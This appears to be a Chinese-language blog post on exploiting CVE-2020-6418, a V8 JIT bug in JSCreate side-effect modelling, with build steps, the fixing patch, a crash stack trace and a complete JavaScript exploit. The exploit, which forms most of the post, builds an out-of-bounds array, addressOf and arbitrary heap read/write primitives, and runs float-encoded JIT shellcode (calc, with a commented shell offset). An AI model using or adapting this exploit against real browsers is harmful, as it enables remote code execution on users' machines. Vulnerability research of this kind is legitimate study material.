CVE-2020-6418:Incorrect side effect modelling for JSCreate

本文详细描述了一次针对V8引擎的漏洞利用过程,涉及环境配置、漏洞分析、利用触发链和最终的RemoteCodeExecution(RCE)。作者通过实例展示了如何构造payload和利用漏洞,同时提供了相关参考链接以深入研究。
摘要由CSDN通过智能技术生成

环境搭建

sudo apt install python
git reset --hard cecaa443ec29784ee26e31e678a333a3c1e71136
gclient sync -D

// 手动引入漏洞,参考下面的 patch,把相关修改注释掉即可

// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

patch 如下:

diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
           // We reached the allocation of the {receiver}.
           return kNoReceiverMaps;
         }
+        result = kUnreliableReceiverMaps;  // JSCreate can have side-effect.
         break;
       }
       case IrOpcode::kJSCreatePromise: {

漏洞利用

漏洞触发链

[#0] 0x5654ea4841d4 → v8::internal::compiler::NodeProperties::InferMapsUnsafe(v8::internal::compiler::JSHeapBroker*, v8::internal::compiler::Node*, v8::internal::compiler::Effect, v8::internal::ZoneUnorderedSet<v8::internal::compiler::MapRef, v8::internal::compiler::ObjectRef::Hash, v8::internal::compiler::ObjectRef::Equal>*)()
[#1] 0x5654ea424da7 → v8::internal::compiler::JSNativeContextSpecialization::InferMaps(v8::internal::compiler::Node*, v8::internal::compiler::Effect, v8::internal::ZoneVector<v8::internal::compiler::MapRef>*) const()
[#2] 0x5654ea425e4e → v8::internal::compiler::JSNativeContextSpecialization::ReduceElementAccess(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::compiler::ElementAccessFeedback const&)()
[#3] 0x5654ea41e0b8 → v8::internal::compiler::JSNativeContextSpecialization::ReduceJSLoadProperty(v8::internal::compiler::Node*)()
[#4] 0x5654ea3924e9 → v8::internal::compiler::GraphReducer::Reduce(v8::internal::compiler::Node*)()
[#5] 0x5654ea39201a → v8::internal::compiler::GraphReducer::ReduceTop()()
[#6] 0x5654ea391c28 → v8::internal::compiler::GraphReducer::ReduceNode(v8::internal::compiler::Node*)()
[#7] 0x5654ea49c4b9 → v8::internal::compiler::InliningPhase::Run(v8::internal::compiler::PipelineData*, v8::internal::Zone*)()
[#8] 0x5654ea4904ddauto v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::InliningPhase>()()
[#9] 0x5654ea48d8f2 → v8::internal::compiler::PipelineImpl::CreateGraph()()

todo

RCE

exp 如下:

const {log} = console;
let raw_buf = new ArrayBuffer(8);
let d_buf = new Float64Array(raw_buf);
let l_buf = new BigUint64Array(raw_buf);
let roots = new Array(0x30000);
let index = 0;

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                roots[index++] = new ArrayBuffer(0x200000);
        }
        roots[index++] = new ArrayBuffer(8);
}

let d2l = (val) => {
        d_buf[0] = val;
        return l_buf[0];
};

let l2d = (val) => {
        l_buf[0] = val;
        return d_buf[0];
};

let hexx = (str, val) => {

        log(str+": 0x"+val.toString(16));
}

/*
function shellcode() {
        return [
                1.0,
                1.9553825422107533e-246,
                1.9560612558242147e-246,
                1.9995714719542577e-246,
                1.9533767332674093e-246,
                2.6348604765229606e-284
        ];
}
*/

function shellcode() {
        return [1.9553820986592714e-246, 1.9557677050669863e-246, 1.97118242283721e-246,
                1.9563405961237867e-246, 1.9560656634566922e-246, 1.9711824228871598e-246,
                1.986669612134628e-246,  1.9712777999056378e-246, 1.9570673233493564e-246,
                1.9950498189626253e-246, 1.9711832653349477e-246, 1.9710251545829015e-246,
                1.9562870598986932e-246, 1.9560284264452913e-246, 1.9473970328478236e-246,
                1.9535181816562593e-246, 5.6124209215264576e-232, 5.438699428135179e-232];
}

//%PrepareFunctionForOptimization(shellcode);
//shellcode();
//%OptimizeFunctionOnNextCall(shellcode);
//shellcode();

for (let i = 0; i < 0x80000; i++) {
        shellcode(); shellcode();
        shellcode(); shellcode();
}

THRESHOLD = 0x8000

function f(p) {
    a.push(  // [5]
        Reflect.construct(function(){}, arguments, p)?4.1835592388585281e-216:0  // [1]
    ); // itof(0x1337133700010000) = 4.1835592388585281e-216
}

let a;
let oob_arr;

let jitted = false

let p = new Proxy(Object, {
    get: function() {
        if (jitted) {
            a[0] = {};  // [2] change `a` from `HOLEY_DOUBLE_ELEMENTS` to `HOLEY_ELEMENTS`
            oob_arr = Array(1);  // [3]
            oob_arr[0] = 1.1;  // [4]
        }
        return Object.prototype;
    }
})

for (let i = 0; i <= THRESHOLD; i++) {
    a = Array(8)
    a[1] = 0.1
    a.pop()  // make a room such that push() does not reallocate elements
    if (i == THRESHOLD) {
        jitted = true;
    }
    f(p)
}
//hexx("oob_arr.length", oob_arr.length);
if (oob_arr.length < 2) {
        throw "FAILED to trigger bug";
}

let addressOf_arr = [0x5f74, 0x5f74, oob_arr, oob_arr, oob_arr];
let addressOf_idx = -1;
for (let i = 0; i < 500; i++) {
//      print(i+" => 0x"+d2l(oob_arr[i]).toString(16));
        let val = d2l(oob_arr[i]);
        if (val == 0xbee80000bee8n && d2l(oob_arr[i+1]) != 0n) {
                addressOf_idx = i+1;
                print(i+" => 0x"+d2l(oob_arr[addressOf_idx]).toString(16));
                break;
        }
}

function addressOf(obj) {
        addressOf_arr[2] = obj;
        return d2l(oob_arr[addressOf_idx]) & 0xffffffffn;
}


let oob_arr_addr = addressOf(oob_arr);
hexx("oob_arr_addr", oob_arr_addr);

let arb_rw_heap_arr = [1.1, 1.2, 1.5];
let arb_rw_heap_arr_addr = addressOf(arb_rw_heap_arr);
hexx("arb_rw_heap_arr_addr", arb_rw_heap_arr_addr);


let arb_rw_heap_idx = ((arb_rw_heap_arr_addr+8n) - (oob_arr_addr+3n*8n)) / 8n - 1n;
let orig_val = d2l(oob_arr[arb_rw_heap_idx]);// & 0xffffffffn;
hexx("arb_rw_heap_idx", arb_rw_heap_idx);
hexx("map|", orig_val);
//orig_val &= 0xffffffffn;

function arb_read_heap(offset) {
//      let addr = ((offset-8n) << 32n) | orig_val;
        let addr = 0x800000000n | (offset - 8n);
        oob_arr[arb_rw_heap_idx] = l2d(addr);
        return d2l(arb_rw_heap_arr[0]);
}

function arb_write_heap(offset, val) {
        let addr = 0x800000000n | (offset - 8n);
        oob_arr[arb_rw_heap_idx] = l2d(addr);
        arb_rw_heap_arr[0] = l2d(val);
}

let shellcode_addr = addressOf(shellcode);
let code = arb_read_heap(shellcode_addr+0x18n) & 0xffffffffn;
let code_entry = arb_read_heap(code+0x10n);

hexx("shellcode_addr", shellcode_addr);
hexx("code", code);
hexx("code_entry", code_entry);
hexx("code_entry_ptr", arb_read_heap(code+0x8n));
//arb_write_heap(code+0x10n, code_entry+0x73n); // shell
arb_write_heap(code+0x10n, code_entry+0x66n); // calc

shellcode();

效果如下:
在这里插入图片描述

总结

仅仅把利用写了,漏洞成因后面分析

参考

https://starlabs.sg/blog/2022/12-deconstructing-and-exploiting-cve-2020-6418/
https://d0ublew.github.io/writeups/bi0s-2024/pwn/ezv8-revenge/index.html#tldr

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值